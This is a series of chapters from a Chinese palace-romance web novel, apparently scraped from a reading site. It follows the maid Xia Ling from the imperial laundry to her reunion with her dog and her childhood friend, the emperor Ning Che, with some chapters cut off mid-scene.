夏绫不禁笑了出来。王平骨子里是个有点图安逸的人,可偏偏砸到他身上的都是些费心耗神的事,还得掂量着怎么把上面人给哄好了,也是够难为他的。 “不过他这也快熬出来了。今儿下午司礼监把人一点,等你们都去了宫里,这行宫又要冷清一阵子了。” 方苒闻言,心思却重了起来:“绫儿,一说到要 6. 昔日重现 《宫墙之内有恶犬》全本免费阅读 刚好一只乌鸦从头顶飞过,嘎嘎叫得很不合时宜。 夏绫迷茫的抬起头,正好对上王平无辜的眼神。 “王监丞,咱不是都说好了么,您怎么还是把我给放进名册去了?” 待司礼监的人一走,夏绫立马在王平的必经之路上堵到了他。 “绫丫头,这事可真不赖我。”王平委屈的十分真诚,“我第一回交上去的名单里确实没有你,但孙提督觉得人手还是不够,管我要了行宫中所有宫女的名册,自己把你给加进去了。我对天发誓这事我也是一个时辰之前刚知道的,我总不能做司礼监的主把你给摘出去吧?” 夏绫无语。 王平却还有一肚子的话要解释:“绫丫头,不是我说你,咱这行宫里的人都巴望着去皇城还来不及呢,要是在宫里能得了哪位主子青眼,这前程不就有了?就你往后缩,要是早点说去,没准我还能使使劲给你安排个得脸的地方,现在你这直接被点去了浣衣局,这不是纯当苦力么?” 前面那一大堆话,夏绫权当没听见,却是自言自语的喃喃说:“浣衣局,能去那里倒是也不错……” 王平看着她干瞪眼,心想这丫头对“不错”这个词是不是有什么误解。 “监丞,我这要是去洗衣服了,书库里的书还得劳您千万帮我打理着。” “这你放心。”王平没忍住,捂着嘴打了个大大的哈欠,“逢上万寿这样的大事,我是肯定不会让行宫出半点岔子的。” 司礼监要人要得急,只给了这些宫女们半天的时间收拾贴身衣物,第二天一早便启程往京城去了。 作为内府第一署,司礼监掌宫内一应礼仪刑名,规矩大的很,对这一批从行宫带出来的宫女也自然是约束颇多。 夏绫与五六个宫女坐在同一辆马车上,几人皆低头不语,都只盯着各自膝上的行囊愣神。夏绫恰好坐在靠窗的位置,随着帘幔的浮动,她不动声色的向窗外看去。 许多时日前,她也是沿着这条路从皇城来到行宫的。 车子在路上吱吱呀呀走了快两个时辰,最后在德胜门内停了下来。 夏绫走下马车,逆着光望向德胜门的城楼。天空很蓝,没有多余的云彩,是京城初秋的味道。 小的时候,在浣衣局能看到德胜门城楼飞檐的一角。飞檐上不时会落下几只小麻雀,身边的小猫喵喵叫着,可那城楼那么高,它却连浣衣局的墙头都爬不上去。 夏绫没有太多时间在这里停留,方一站定,便随着宫女的队伍,在内监的指引下向西走去。 她们此行是都要住在浣衣局的。皇城中没有多余的地方给行宫来的这些干杂活的宫女们住,她们只能都暂住在浣衣局中,每日晨起后要走半个时辰的路到各司局当值,等一天的差当完后,再回到浣衣局来歇息。 浣衣局的门很快出现在了夏绫眼前。退了色的大门依然破旧斑驳,与夏绫记忆中的样子并未有太大的改变。她深深地吸了口气,就像是打开了一纸尘封多年的书信,纸张已在岁月的流逝中泛黄,但字迹依旧,心境怅然。 从某种意义上,这里是她最初的家。 先前在行宫见过的提督太监只负责把这批宫女送到浣衣局,之后的诸项事宜,都交由浣衣局掌事来办。掌事太监姓李,在浣衣局已经七八年了,长脸粗眉,仅看面相便知不是个太好相与的人。 待送走了司礼监的人,李掌事立刻又肃起了脸孔,背着手对夏绫一行人发令道:“后院西北边那几间屋子是你们的住处,先去把东西都放下,然后回到这里来听训。这是在皇城,自有宫里的规矩要守,在我这浣衣局,任何人不得乱走乱看,特别是东北角那片禁地,绝不许踏入。违者,必有重罚。” 几句话,便让许多人对那座朱墙碧瓦的宫城初生了怯意。 夏绫只是听什么就做什么,她与方苒一起,往掌事太监指的那几间房子走去。 她依稀记得,这地方从前是几个老宫女的住处。当初离开浣衣局的时候,几位婆婆还抱了抱她,哽咽着让她一定好好活。 可那段时日过得太过混乱,夏绫只是匆匆道了珍重,并没有读懂那些拥抱中藏着的永别。 而如今房子空了,那些人想必都已不在了吧。 待进了屋子,方苒见周围不再有旁人,才敢低声对夏绫问了句:“绫儿,东北角那间屋子里不会是出过什么事吧?李掌事说的话那么重,我这心里怪害怕的。” 方苒只是被吓住了,想与夏绫说说话,并没有期待能从她那里得到什么答案。 过了片晌,方苒却听到了一声很轻的叹息。 “没什么好看的。只不过在里头住过的人,想给自己留块私地罢了。” 夏绫想了想,那间屋子唯一特别的地方,或许就是坐在屋外的石阶上刚好能看到德胜门高耸的门楼。 在浣衣局的日子过得其实很辛苦。 尤其是到了冬天,水冷的要结冰碴子,可要洗的衣服偏偏还都厚重,宫人们就只得架几口锅不停的烧热水,再倒进池子里用来洗衣服。 可这样一来,势必会慢上许多,常常从天不亮就开始忙碌,一直到很晚才会结束劳作。 夏绫虽说是被指来给傅薇帮忙的,但更多的时候,是傅薇一个人照看她和阿澈两个孩子。 阿澈那时的身体并不很好,傅薇总担心他自己弄火会伤到自己,于是只要夜幕一沉,便会让夏绫回来看着他。 虽然夏绫的年岁比阿澈还小上几个月,可个子却比他高出了半头,做起事情来也就更利落些。 为了省些烛火钱,两个小孩就时常裹着被子坐在台阶上,一起等傅薇回来。 阿澈抱回来的那只小奶猫,此时已长成了一只珠圆玉润的大橘猫。每每这时,它也会扭着肥美的身子走过来,揣着爪卧在地上,慵懒的打上一个哈欠。 坐在这里,恰能看到德胜门一隅高耸的暗影。城楼的顶檐下挂着灯笼,比浣衣局的灯火还要明亮。 夏绫望着那处光亮,忽然想到了一个之前从未深想过的事情。 她问阿澈:“为什么只有薇姨和你在一起,你的爹呢?” 阿澈却迷茫的摇了摇头:“什么爹?我没有的,从来都没有听说过。” “不可能。”夏绫很肯定的说,“每个人都有爹的!我也有爹,不过他打仗的时候牺牲了,但是我爹在的时候,对我可好可好了。” 阿澈将信将疑的看着夏绫, 7. 纪氏皇后 《宫墙之内有恶犬》全本免费阅读 事情一多起来,日子就过得飞快。 好在李掌事口中那贵犬,她们这拨人谁也没碰上过。 夏绫虽然不需要每天走很远的路到各司局去当值,但浣衣局的活计并不比任何一处轻松。 太贵重的衣服不会轮到她们这些粗使宫人来洗,帝后的冠服自有专人负责打理。浣衣局所浆洗的衣服大多都是帝后或内眷的常服和里衣,且随着万寿节的日益临近,有各地藩王携命妇入京上贺表,他们的衣服也一并都送到了这浣衣局来。 夏绫每日要洗衣,晒衣,熨烫,熏香,忙到亥时才歇息是常事。 又是一日干到夜里收工,夏绫揉着酸痛的肩膀走回住处,见方苒已经回来了,她正在油灯下写着些什么。 夏绫给自己倒了杯水:“苒苒,写什么呢?” “回来了,绫儿。”方苒把笔搁下,“噢,我是每天回来后都把一天经手的事理一遍记下来,甜食房不比行宫,每天的事情又杂又多,我在纸上记一记,免得日后掌房要问起什么,我也能大概答的出是什么事情。” “你这倒是个好习惯。”夏绫脱了鞋坐到床上,累的不想动。 方苒同夏绫一起坐到通铺上,替她将系在颈后的襻膊解开:“累坏了吧?看你走的这步臭棋,皇城也没碍着来,还摊上个最苦最累的差事。” 夏绫面无表情:“苒苒你就别说我了,王监丞已经骂过我一顿了。” 方苒笑了笑,将襻膊叠好放在夏绫枕头边上:“哎绫儿,我今天倒遇上个新鲜事,跟你说说。” 夏绫扬了下眉。 方苒盘腿坐在夏绫身边,道:“今天甜食房的掌房让我去丙字库领点东西,路上正好碰见尚衣监的人进宫去给皇后娘娘送万寿节要穿的礼服。” “我跟着瞧了一眼,你都不知道,那衣服有多漂亮!听说那衣服的料子都是江南织造局特供进京的,想当初我家里那些太太姨娘们闹着要买江浙的云锦,可那成色与宫中的用度比可差的远呢。” 夏绫附和到:“那是自然,给娘娘用的东西,一定都是最好的。” 方苒点点头,一手托着腮:“绫儿,你说皇后娘娘是不是个特别好命的女子啊。咱们皇上登基也有三年了,后宫中却只有皇后娘娘这一位主子,陛下对娘娘一定很好吧。” 听到这,夏绫心里却一沉。 “苒苒,这些话你与我说说便罢了,出去可千万别与旁人说这些。” “我晓得我晓得,”方苒忙道,“你放心,议论主子的话,我在外面不会乱说的。” * 于宫城内西二长街之西的宫殿,名为永宁宫,是纪皇后现下的居所。 时至过晌,日头从南边转到了西边,永宁宫内却依旧很安静。 徐婉坐在正殿门口,一手拄着下巴,在越过廊庑斜照下来的暖阳下昏昏欲睡。 昨夜娘娘来了月信,疼了一个晚上,今天早上起来又吐了一场,这会才刚睡实了。 她是皇后的贴身使女,自是也跟着折腾了一天一宿,熬到现在眼皮早就顶不住了。 宁澈进来的时候,看见的就是这个半点人声都没有的院子。 他背着手走上墀台,低头打量了徐婉片刻,心道这个时候,睡的到底是哪门子觉。 徐婉倒是也没睡太实。她觉察到眼前的光被什么挡住了,睁眼看了看,正见到一双皂靴停在自己面前。 她一下子醒了神,抬头往上看去。 “皇,皇上……”徐婉连忙跪下,双手交叠伏在地上,向宁澈见礼。 宁澈淡淡问了句:“皇后呢?” “娘娘她,还在睡着……” 宁澈没说话,自己打了帘子往内殿去了。 徐婉从地上爬起来,拦住跟在皇上后面的何敬,低声问他:“今儿怎么来早了?” 何敬却瞪了她一眼:“今儿初一了!主子想什么时候过来,我还能做得了主?” 宁澈在暖阁的榻上坐了。尚衣监昨日送来的礼服就放在对面桌上,还没有动过。 徐婉奉了一盏茶上来,惴惴着问:“陛下,奴婢要不,去把娘娘叫起来?” “不用,让她睡吧。”宁澈的声音不高,“你看着去办膳吧,别吃的太晚,朕晚上还有事。” “是。”徐婉应下,欠着身子退了出去,待到了殿外,才擦了擦她满手冷汗的手心。 交待完办膳的内侍,徐婉便去皇后寝阁门口守着了。宁澈就坐在外间看书,偌大的殿阁中除了不时书页翻动的声音,半点动静也无。 约摸过了有小半个时辰,徐婉听见床帐内的人翻了个身,忙打了帘子进去:“娘娘醒了?” 纪瑶缓了一会,才慢慢坐起来。睡了这一觉,腰还是疼得厉害,再加上出了一层腻汗,小衣黏在身上,让人烦躁的很。 “什么时辰了?” “娘娘,申时三刻了。” 纪瑶揉了揉自己后腰,愣了片刻,问徐婉说:“皇上今天是不是还得过来?” “娘娘您小点声。”徐婉把两边的床幔绑起来,坐在床边小声道,“皇上已经到了,就在外间呢。” 纪瑶皱了皱眉:“他什么时候来的?” “待了有快半个时辰了。” “唉。”纪瑶叹了口气,让徐婉帮着她起来梳洗。 宁澈在外间坐着,里间的声音虽然小,但还是一字不落的都落进了他的耳朵里。他的眼睛在书页上抬都没抬,没多会就又翻了一页过去。 又等了有半盏茶的功夫,纪瑶梳洗好了从寝阁中走出来。她穿了件素色的长袄,发髻上只简单簪了顶金质小冠,脸上擦了粉,以遮掩住她原本苍白的气色。 “皇上。”她交手在宁澈跟前跪了,没再说别的。 “嗯,起来坐吧。”宁澈没抬头,又转了话头对徐婉道,“给你们主子倒杯水喝。” 待把一章看完,宁澈才将手头的书放下,问纪瑶说:“听说你前几天喉咙不舒服,好些了吗?” “是,好多了。”纪瑶说完,却又忍不住遮住口鼻微微咳嗽了两声。 徐婉恰在这时端了水回来。 宁澈随口问她道:“娘娘有按时吃药么?” 徐婉犹豫了一下,没想好该怎么答,却又不能一直不做声,情急之下只说到:“这……” 宁澈往日里很不喜欢底下人回话支支吾吾 8. 旧时青衣 《宫墙之内有恶犬》全本免费阅读 宁澈带着满身的药味回了乾清宫。 乾清宫内空空荡荡。这是何敬提前递了话,让随侍的牌子暖殿先一并退下,总不好再让人看见皇上现在的样子,在永宁宫落一身不痛快又不是什么光彩的事。 宁澈心里有气,迈开步子走的飞快。甫一如殿门,他就自己先把腰上的玉带解了,随手往桌上一掷。 他拽开前襟的衣服抖了抖,这衣服湿乎乎的粘在他身上一路了,难受的要命。 乾清宫的内殿本就空旷,这一没了人,便就觉得有些凉意。宁澈回头,想找人说说话,可何敬大概是去取替换的衣裳了,并没有跟过来。 怎么一个熟悉的人都没有呢。 他张嘴想要喊人,但话到嘴边,又不知道该喊谁好。末了他只叹了口气,独自坐到榻上,用力按了按眉心。 可忽然,他听见自己屁-股底下传来一记响亮的鼾声。 宁澈弯下身,往坐榻底下看去。见一只金毛大猎狗窝在榻底下,睡的正酣。 “好家伙,怎么睡这了?”宁澈蹲在榻前,伸手往狗子耳朵后面捅了捅,“小铃铛,铃铛?” 小铃铛耳朵动了动,从嗓子里咕噜了一声,然后一蹬腿,醒过来了。 看见宁澈,狗子嗷呜一叫,从软榻底下探出头来,在宁澈脚边蹭了蹭。 宁澈的神色总算变得温和了些。他揉了揉狗头,让小铃铛从榻下面出来,揽住它的脖子在细软的绒毛中挠了两下。 小铃铛凑近宁澈闻了闻,狗鼻子却皱了起来。它瞅了宁澈一眼,有点不乐意的叫了一声,甩着尾巴转身就跑出去了。 何敬这时候刚好取了干净衣服进来。 宁澈站起身,看了看自己身上的药汤子,冷哼一声:“呵,狗都嫌弃。” 这话何敬哪敢接。他赔着笑说:“主子,正巧甜食房送了几碟点心过来,您看还有什么想吃的,奴婢让尚膳监去准备。” “算了,垫一口得了。”宁澈嫌麻烦,估摸着内阁那边也快吃完了,不想再耽搁晚上的功夫。 他自己开始上手解领口的盘扣,何敬见了,赶忙上前伺候宁澈更衣。 自打入司礼监以来,何敬已经许多年没有帮宁澈更衣过了,这些事平日里都是乾清宫的近侍在做。他手有点生,因此动作上格外小心,但心里还大概能记起皇上身上哪里能碰,哪里碰不得。 何敬将换下来的脏衣服一并都搭在衣架上,又展开新取的中衣和燕居服为宁澈换上。 中衣是顶好的绸料,轻白似雪,换上了一身干爽衣服,宁澈总算是舒了口气。他目光落在何敬刚掸开的那件燕居服上,神色却略微凝了一凝。 他记得这件衣服。这是一件青灰色的广袖长衫,已经有些年头了,还是他做皇太子那时置办的。这件衣服通体没有什么花纹,只是领口处的那几粒扣子,是以合浦南珠镶嵌在贝母上制成的,就像万里松涛中飞过的一行白鹭。 一件寻常衣服而已,宁澈原不该有什么很深的印象。只不过—— 屋檐下,女孩在昏黄温软的灯光下看向他,忽说到:“阿澈,你有一颗扣子松了。” 宁澈低头,果然,领口下的一粒扣子脱了线,都快掉到胸口去了。 他有些赧颜的说:“我一会回去换了。下次来找你时,我一定穿件好的。” “不用,我给你补一补吧。”说着,女孩从自己袖口处摸出一个针线包,在灯下纫起针来。 宁澈怎么忘了,她现在在针工局做活,随身都是带着针线的。 女孩凝神看了看,挑针如飞,不过三两下,便将那颗扣子补了回去。宁澈看着她的手出了神,可她却倏而往前一凑,脸几乎要贴上他的胸口。 宁澈紧张的呼吸都凝滞住了。 夏绫飞快的用牙尖一挑,咬断了多余的丝线。 “好了。”她眉眼弯弯。 宁澈却暗自烧红了耳垂。她头发上有股桂花的香气,可真好闻。 “主子,”何敬的声音将宁澈又拉回到了现实里,“这件衣裳现在穿刚好,不冷不热的。只不过上回您穿都是春天的时候了,才刚交浣衣局打理过了送回来,您看看还合不合身。” 置了一夏的衣服,肯定是要重新晾晒熏香后才能上皇上的身的。 宁澈淡淡道:“跟春天比,朕有什么变化么?” 何敬含笑应承:“主子更加丰神俊朗了。” 这些马屁对宁澈并不起什么作用。何敬在他身后束好了玉带,宁澈下意识的抬手摸了摸领口下第二粒扣子。 可他忽然觉得有点不太对劲。 “何敬,取镜子来。” 宁澈对着镜子看了看,果然,珍珠纽扣不见了,而是改成了袢条编结的盘扣。只是这改动之人手艺精湛,这样搭配起来倒也很好看。若非宁澈记得这衣服原本的样子,谁也不会注意到这扣子是被换过的。 他的脸色霎时沉下来:“这衣服怎么回事?” 乍被问到,何敬心头突的一跳。他在这衣服领口处看了许久,却仍不知道皇上究竟是觉得哪里不对了。 “主子可是觉得这衣服不合身?那奴婢再另取一件过来。” 宁澈一咋舌:“扣子不对。” 何敬这才猛然意识到,这衣服从前是珍珠扣的。他后颈暗自起了一层冷汗,皇上这记性也未免太好了些,竟连这种细碎的琐事都记得。 底下浣衣局或针工局,要改一件常服并不是什么稀奇事,无需事事都上奏,更何况是件有些年头的旧衣。可看皇上这意思,今天这事怕是非得较个真。 果然,宁澈冷着脸说:“把衣服送回去。这衣服怎么改的,就按原样给朕改回来,一粒扣子都不准少。” 何敬一哆嗦,这位主子的脾气他大概能摸清楚。无论是对外臣还是内侍,宁澈很少疾言厉色,但真到下手处置人的时候,他自有一番铁手腕。 何敬不敢迟疑,立刻领命去了。 * 浣衣局里,夏绫仍在水池边揉洗着衣服。 入了秋,天色又渐晚,池中的水已有些发凉。夏绫将洗好的衣服拧干放进一旁的木盆里,抖了抖手上的水,习惯性的用手腕顶了顶已经酸痛的腰背。 她本想站起身来歇一会,却忽然有个什么东西砸在了她身边的水池中,凉水溅到夏绫脸上,她本能的抬起手来去挡。 一个盛气凌人的女声在她耳畔响起:“行宫来的,这些衣服是湘王府送来的,你赶紧都洗出来!” 这宫女叫陈翠,在浣衣局中已有许多年头了,夏绫来到这之后,便是分到她手下干活的。 夏绫揉了好几下,才将眼中的水揉干净。睁开眼,见面前的水池中又堆了一大捧衣服,裙子长衫中衣袜子,甚至还有男人的亵裤。< 9. 恶犬出没 《宫墙之内有恶犬》全本免费阅读 夏绫是给反绑了双手,被那两个内官带进了元武门,紫禁城的北大门。 入宫后时日已晚,那二人似乎也并没有一定要在今日就将夏绫处置了的意思,而是把她带到了后罩房的一间仓库中,将她锁了进去。 那两个宦官丢她进来的时候用大力推了一把,夏绫摔倒在地上,膝盖磕的生疼。 她挣扎着坐起身,闭上眼缓慢的消化了一会身上传来的痛楚。门外传来落锁的声音,经刚才这样一折腾,原本沉寂的仓库中,浮尘四散。 自己怎么也想不到,竟会以这种方式重新回到宫廷。 李掌事的办法并不高明,毕竟连夏绫都能看出来,是他对那两个内官使了银子。可有些时候,钱又是最好用的办法,毕竟不得宠的奴婢,人命微如草芥,很多时候并不比那几两碎银更值钱。 现下秋意渐深,及至夜晚更觉凉意入骨。这库房的窗户并不严密,一旦外面稍有风过,夏绫便会也跟着一阵瑟瑟。她不得已只能挪动到一个相对避风的墙角里,蜷起身体躺到地上。也不知会在这里关上多久。 那两个内官似是真的将她忘了。直等到第二日后晌,库房的门才再一次被打开。 “出来。”来人对夏绫命令道。 待到此时,她已有一天一夜水米未进。 夏绫微咳了两声,想要依言坐起身来。她用被绑住的双手撑住地面,身上却好似压了座山,沉得她眼前发黑。 门外两人见房内许久无人出来,直接进来仓库,将夏绫拽了起来。看她脸色苍白,二人却并未半分怜惜,在一左一右架起她,往屋外押去。 夏绫脑子昏昏沉沉,只是被人摆弄着麻木的往前走,不知道往哪去,也不知道要见谁。本就幽长的宫道今日显得尤为漫漫,就在这时,前头宫门里忽窜出来只大狗。 一只浑身裹满泥浆金毛大猎狗,越过门槛悠悠闲闲的走了过来。它甩着耳朵一步三揺的,似乎刚才在泥坑里打了顿滚让它颇为愉悦。 直到,它看见了宫道里的人。 押着夏绫的两个内侍见了狭路相逢的大狗,似是颇为忌惮,低着头避让到一边,想让这御犬快点过去。可这御犬今日不知是着了什么劲,越看见人怕他,便越卖弄威风,冲着两个内侍狺狺狂吠了起来。 狗? 夏绫被这狗叫声震得心念电转。她抬头往前看去,眼眶霎时灼烫。 她朝思暮想的小铃铛,此时就真真切切的站在她面前。 夏绫泪眼婆娑的看向她的狗,狗子越是叫唤,她就越觉得欢喜。但很显然,小铃铛并没有想展现它的可爱,见那两个内侍应当是真的怕它,得寸进尺到了极点,凶神恶煞的扑了过来。 狗毛翻飞,甩得泥浆在日光下变成了一颗颗腾空的黑珍珠。 两个内侍慌了神色,抱头鼠窜般的逃命,小铃铛就追着他们咬,情急之下,一人怀中揣的那三枚珍珠扣子掉出来散落在了地上。 这新鲜玩意很快吸引了狗子的注意力。它凑近鼻子闻了闻,伸出舌头将一枚扣子一下子卷了进去。 “铃铛,这东西不能吃!” 夏绫是真的急了。也不知道她是情急之下用了大力,还是过了一晚上绳子本来就松,她竟然将腕子上了绳子挣了开来,飞速奔到小铃铛身边,扒开它的嘴就往里看。 “跟你说多少遍了,不能随便捡东西吃!” 狗子被骂的蒙住了。它原本不是再撒威风的么,怎么突然就被人掰开了嘴?怪没面子的。 为了挽尊,狗子仍挣扎着呲了呲牙,以展现它的凶恶。然而并不管什么事。 夏绫见狗嘴里已经没有那枚扣子了,有些懊恼的想,应该是被吞下去了。但好在没卡了嗓子,不过是过两天从后面出来罢了。 她松开了手,手背掠过小铃铛面前时,狗子的鼻子微微皱了一下。 呜?它从喉咙中咕噜了一声。 小铃铛安静了下来,偏着头看了夏绫一会。它盯着面前的女孩,却垂下尾巴,呜咽着往后退了两步,似是十分不安。 夏绫禁不住红了眼睛,伸手在狗头上撸了撸:“大宝宝。” 一瞬间,铃铛的眼睛亮了起来,尾巴一下子翘得高高的,都快指到天上去了。 它认出她来了。 狗子把嘴咧的好大,好像是在笑。它哈着舌头,一头扎进了夏绫的怀里,不住的呜呜撒着娇,将身上的泥浆蹭了她满身。 那意思仿佛是在说,你怎么才回来啊。 * 何敬在司礼监值房赶到这里时,看到的便正是这个场景。 先前他得了底下内侍的回禀,说是皇上衣服上的扣子丢了一枚,暗道一声不妙,让人将那改衣服的宫女提过来亲自审。可等了大半天,人没见着不说,竟得了消息,说那珍珠扣子又被御犬吞了一枚,这心里如何还能不窝火。 何敬远远的便看见那宫女蹲在地上在同御犬玩闹,怒极斥到:“臭丫头,万岁主子的狗也是你能碰的么!” 夏绫抬起头来。 “你,不是?”何敬一瞬间木在了原地,“您,这怎么……回京了?” 小铃铛一见又来了人,立时警惕起来,呲着牙挡在夏绫跟前,不让任何人靠近她。 “掌印。”夏绫站起身来,将铃铛拉到她身边坐下,同何敬回了个常礼,答他的话道,“阴差阳错,便跟着回来了,到万寿圣节后再回行宫去。” 何敬心中一时五味杂陈,她这阴差阳错,错的也太是时候了。 他回手挥退了身后跟着的人,同夏绫欠身道:“姑娘,请您跟奴婢移步乾清宫吧。” 夏绫垂眸,虽是知道对方必定会说这样一句话,但心中仍是犹疑未决。 “掌印,我……不知该不该见他。” 何敬苦笑道:“姑娘,今日之事,奴婢必不敢瞒着主子。您即便现在不去,待主子知道了您回京的事,他怕是也得到浣衣局去见您。” 夏绫无言。她并非不愿意见宁澈,只是不知道,见了他能说什么,又该怎么说。 何敬看出她的迟疑:“姑娘,有句话,奴婢不知当不当讲。” “您但说无妨。” 何敬沉了沉道:“两不相见,是解决不了任何问题的。姑娘,您一直盼着主子能同傅娘娘和解,但如今这么做,不又是在步傅娘娘的后尘么。” 10. 冰释前嫌 《宫墙之内有恶犬》全本免费阅读 夏绫并未来得及同宁澈续太多话。她的感觉没错,还未入夜,便发现自己发起烧来了。 耽误了这一会功夫,宫门下了钥,今日夏绫无论如何是出不去的了。可她说什么也不愿歇在乾清宫的内殿中,宁澈依着她,让何敬临时在东侧廊收拾了一间小屋子出来。 在乾清宫中当值的人,从司礼监的掌印秉笔,到近前伺候的牌子暖殿,再到洗扫清洗的小火杂差,不在少数,可全都是内侍。此时突然冒出来个她,夏绫担心自己过于扎眼,再引了旁人的闲话,于是一定要跟宁澈说定,她不需要任何人的照顾,只想好好睡一觉。 房门一关上,夏绫浑身的力气都被抽走了。她虚浮着走到床边,倒头便睡。 夏绫将被子直裹到自己的脖子,可还是忍不住的打寒颤。也不知道是因为在库房中摔得那一下疼,还是因为内里的苦热灼得她疼,总之夏绫觉着,浑身像要散架了一般。 她不禁开始埋怨起自己这具不争气的身体来,似乎要将她之前几日在浣衣局受的累,全在今天这一晚发泄出来一样。 昏昏沉沉的,夏绫睡得并不踏实。在又一次醒过来时,她忽听到房门有响动。隔着屏风,她见一簇暖黄的灯盏从门口慢慢移进来,随着那人的走动,衣料窸窣摩挲。 “谁?” 夏绫开口,却惊异于自己的声音竟变得如此沙哑且无力。 宁澈绕过屏风:“乔乔,我吵到你了吗?” “阿澈。”夏绫摇摇头,“本来也没睡太实。” 见他进来,夏绫不好再躺着,用手肘支撑着身体要坐起来,却仍不安的向外望了望。 宁澈扶了她一把,将软枕垫在夏绫身后:“放心吧,我没让人跟着。除了何敬,没人知道这里多了个你。” 挺括的衣袖拂过夏绫鼻息,有股淡淡的香气,闻起来就很贵。 做完这些,宁澈又绕到屏风外,叮叮当当一阵清响,再回来的时候,他端了一杯水,另一只手里多了一只食盒。 “先喝口水吧,你嘴唇都干了。”房中空间狭小,也没有多余的家具,宁澈只得坐在床尾,先将食盒放在了地上。 夏绫将水接过来,捧在手里,却没有喝。 “你是皇上,不应该来照顾我的。”她垂眸道。 “我是皇上,又不是废物,手脚都能动,怎么就不能照顾你了?” 夏绫小声嘟哝:“我怕折寿。” “嘁,这你也信。”宁澈噎了她一句,“他们还天天管我叫万岁呢,就真能活一万年了?你要是怕折寿,我把我那一万岁分你点。” 夏绫有好久没听过他这样说话了,虽然有点生气,可这种熟悉又让她莫名觉得很安定。 宁澈见她喝净了水,伸手将空杯子接过来,又将食盒的盖子打开。 “你晚饭也没吃东西,我担心你肚子里没食会不舒服,让人蒸了碗蛋羹。你多少吃两口,不吃饭身体上哪好去。” 说着,他弯下身将食盒中的蛋羹取出来。那是一只白瓷小碗,晶莹剔透的没有什么纹饰。他的手指本就修长,瓷碗端在他骨节分明的指间,精致的宛如玉石。 夏绫双手把碗捧过来,看见其中鹅黄细腻的蒸蛋,上面还淋着两滴芝麻油。 她拿起勺子,吃了一口,两口。可越吃鼻子越酸,接着睫毛也濡湿了。 宁澈见她不对劲,将她吃了一半的蛋羹接过来,凑近她问:“怎么了?哭的时候别吃东西。” 夏绫扁了扁嘴,鼻音很重:“你真烦,干嘛要这么对我啊。” 或许是因为身上的难受,让她变得脆弱了起来。再这样被顺毛一捋,新的旧的委屈,全都涌上来了。 “我就是觉得自己很不争气。做什么非得这时候生病啊,走也走不了,什么也不能干,到头来还是得靠着你。” 宁澈将双手搭在膝上,安静的看了她一会。 “乔乔,靠我这件事,就这么不堪吗?” “阿澈,我不是这个意思。”夏绫抬起湿红的双眼,“我只是……有些害怕。” 怕什么?她身无长物,来自于帝王的偏爱,于她而言太沉重了,她怕自己承受不起。 宁澈偏着身子坐了一会,摇曳的灯火浮动着他眉间的愁绪。 “乔乔,你还在怪我,是么?” 夏绫垂下眼,她原本可以答没有,但她却问:“你是指哪件事?” “今天只言你我,不论别人。” 夏绫答:“那没有了。” 宁澈呼了口气,不知道是因为她此刻的宽容而释然,还是因为听出了言外之意,对其他放不下的事情又多了一重惆怅。 “乔乔,无论如何,我觉得自己还是应该对你表达我的抱歉。”他低下头,慢慢说到,“那时年少,许多事情也没想明白,一时犯了浑,所以才……” 才企图用强权,逼她做自己的妃子。最后却只换来一句,我会恨你。 夏绫摇了摇头:“我说了,这件事我不怪你了。” 她鼻头哭的有点红,眼眶也红红的,像只小兔子。宁澈的嘴角向上弯了一弯:“那我可就当你不生我气了。过两天等你好了,我再多给你弄点好吃的补补。” “过两天?”夏绫抬起湿漉漉的眼睛,“阿澈,我要住在这里吗?” “不然呢?”宁澈耸耸肩,“回都回来了,难道你不想跟小铃铛多待会,还想浣衣局去?” 小铃铛。夏绫当然舍不得狗,如果不是生病,她恨不得现在就让狗子睡到床上来。 可她仍有些不安:“可是阿澈,这里没有我待的地方,太奇怪了……” 乾清宫里若突然多了个宫女,也太显眼了,她不愿意让自己显得那么特殊。 “我知道你在担心什么。”宁澈明白,她这是怕别人的猜忌与闲话,让她做妃子的事旧事重提,“那这样吧,我想想办法,让你不要那么尴尬。如果你满意的话就留下,不满意的话再走,行不行?” 话都说到这份上了,夏绫若是再不点个头,也显得太不给面子。 她说:“不过说好了,我就留这一段。等你过完了生辰,我还是要回行宫去的。” 宁澈知道,再多劝她,反而会适得其反了。 “行,想怎么样,都依你。” 他抱臂倚在床架子上,促狭的拉长了声音:“哎——就光知道想狗。这宫里除了狗,就没有别的人值得你想一下了?” 见他这没个正经的样子,夏绫伸了伸腿,隔着被子轻轻踹了他一脚,浅浅扬了下嘴角。 宁澈的笑意也藏不住了。两个人对着这么笑上一回,倒有了些一笑泯恩仇的味道。 “阿澈,这些年你过得好吗?” “嗐,哪有什么好不好的,日子就那样过呗。”宁澈动了动肩膀,语气平淡的好像在讲别人的事,“坐上这个位置,一天天的大事小事不断趟,闲也闲不下来。只不过,有的时候有些孤单罢了。” “实在太寂寞的时候呢,我就跟铃铛说会话。它也听不懂,可是也不嫌我烦。你刚走的那些日子,铃铛在乾清宫住不惯,刮风下雨都要去西五所趴着等你。有时候我拽不回它来,就在那陪着它一块等。” 就像一块石头乍入水面,在夏绫心中激起了许多涟漪。 宁澈一只手拄在床上,就这么看了她一会,含笑的瞳色里,却又多了一层怅然。< 11. 遛狗日常 《宫墙之内有恶犬》全本免费阅读 宁澈虽说要夏绫好利索了才能见小铃铛,可他又不会真的管着她,于是当天晚上夏绫便和狗睡在了一处。 狗子两条后腿一伸,在床上趴的十分安逸。夏绫平躺着,一只脚翘起来,轻轻捋着小铃铛身上的毛。 刚把它抱过来时,才那么一点点大,现在却都能占半张床了。 宁澈让人在这间小屋子中又添置了些新家具,于是这里便成了夏绫的新住处。 夏绫其实很喜欢这间小屋子。这好像是刻在她骨子里的,对一间整洁坚固的屋子,有种天然的依恋。 这房间并不大,几步就能走上一个来回,一扇屏风将这小屋子分隔成了内间和外间两进。 外间的陈设会简单些,靠墙摆了一张四方的小茶桌,两侧各置了一把椅子,以便有什么人来访,可以坐下来稍作歇息。 夏绫现在躺的地方是里间,有一张架子床,梳洗用的小妆台,贴墙的两开门柜子,和一面衣架。原本不大的空间,被这几样家具填的满满当当,但房间一小了,却会让人莫名有种安全感。 小铃铛逐渐起了鼾声。夏绫扯了扯被子,匀给狗子一半,满足的闭上了眼睛。 第二天一早,夏绫是被憋醒的。 她窒息的睁开眼,见一只大狗趴在自己身上,一脸期待的等着她起床。 “不行……小铃铛你起来,太沉了……” 她将狗子从自己身上扒拉开,坐起身来狠狠吸了几口大气。 小铃铛跳下床,后腿蹬在夏绫身上,疼得她差点喊出声来。 狗子很兴奋,在屋子里不停的绕圈圈,甩着尾巴让夏绫带它出去玩。 